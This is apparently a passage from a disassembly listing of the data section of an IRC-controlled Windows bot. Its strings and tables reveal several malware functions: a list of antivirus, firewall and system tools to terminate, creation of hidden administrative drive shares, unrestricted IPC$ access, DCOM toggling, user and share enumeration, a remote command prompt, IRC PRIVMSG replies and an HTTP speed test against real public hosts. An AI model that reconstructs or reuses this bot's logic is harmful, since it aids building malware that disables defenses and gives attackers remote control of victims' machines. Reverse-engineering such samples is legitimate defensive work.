aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 10h
unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 4
unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 10h
dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419AE0+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43A340
dd offset dword_43A334
dd offset dword_43A328
dd offset dword_43A31C
dd offset dword_43A310
dd offset dword_43A304
dd offset dword_43A2F4
dd offset dword_43A2E8
dd offset dword_43A2DC
dd offset dword_43A2D0
dd offset dword_43A2C4
dd offset dword_43A2B4
dd offset dword_43A2A8
dd offset dword_43A298
dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo
; ___:0043A294o
dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co
dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o
dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o
dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o
dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o
dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co
dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o
dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o
dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 10h
unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
align 10h
dd offset dword_43A578
align 8
off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o
dd offset off_43A570
dd offset dword_43A56C
dd offset off_43A568
off_43A568 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o
; ___:0043A564o
dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o
off_43A570 dd offset byte_5C3A43 ; DATA XREF: ___:0043A55Co
dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o
dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o
dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o
dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 10h
dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A3C6:loc_41A433o
dd 62617369h, 2E64656Ch, 0
dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 10h
dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A6EA:loc_41A757o
dd 6C62616Eh, 2E6465h
dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41ABFB+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF8F+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B243+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo
dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o
unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B302+1A0o
dd 4C525520h, 2Eh
unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r
align 4
dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co
dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo
dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo
dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o
dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo
dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00 dd 70E17405h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
align 10h
dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr
dd 9875h, 9873h
off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r
dd offset nullsub_2
dd offset nullsub_2
dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr
dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o
; sub_41D626+2o
off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr
dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er
; sub_423DD1+46r ...
dd 10h, 0
off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE68
dd offset dword_43AE68
dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o
; ___:0043AE5Co
off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r
; sub_41C0CE:loc_41C12Fr ...
off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r
db 2 dup(0)
word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r
; ___:off_43CE78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r
; sub_41C0CE:loc_41C11Ar ...
byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r
; sub_420DB0+311r ...
align 4
dd 1
off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r
; sub_41FF3F+457r
; "(null)"
off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r
; "(null)"
byte_43D098 db 1 ; DATA XREF: sub_420749+E1r
db 2, 4, 8
align 10h
dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo
dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr
dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co
; sub_420C7F+Co
dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o
; sub_420DB0:loc_421317o
dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o
dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o
off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r
; sub_421BFF:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r
; sub_421BFF:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
; sub_4220AC+1Fr
align 4
tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
align 10h
off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw
; sub_41FF3F+3AAr
off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w
; sub_41FF3F+3E2r
off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w
; sub_420DB0+430r
off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew
; sub_41FF3F+3CBr
off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w
off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w
dd offset sub_424F1C
align 10h
dd offset sub_422DFC
off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar
; sub_423638+11o ...
dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
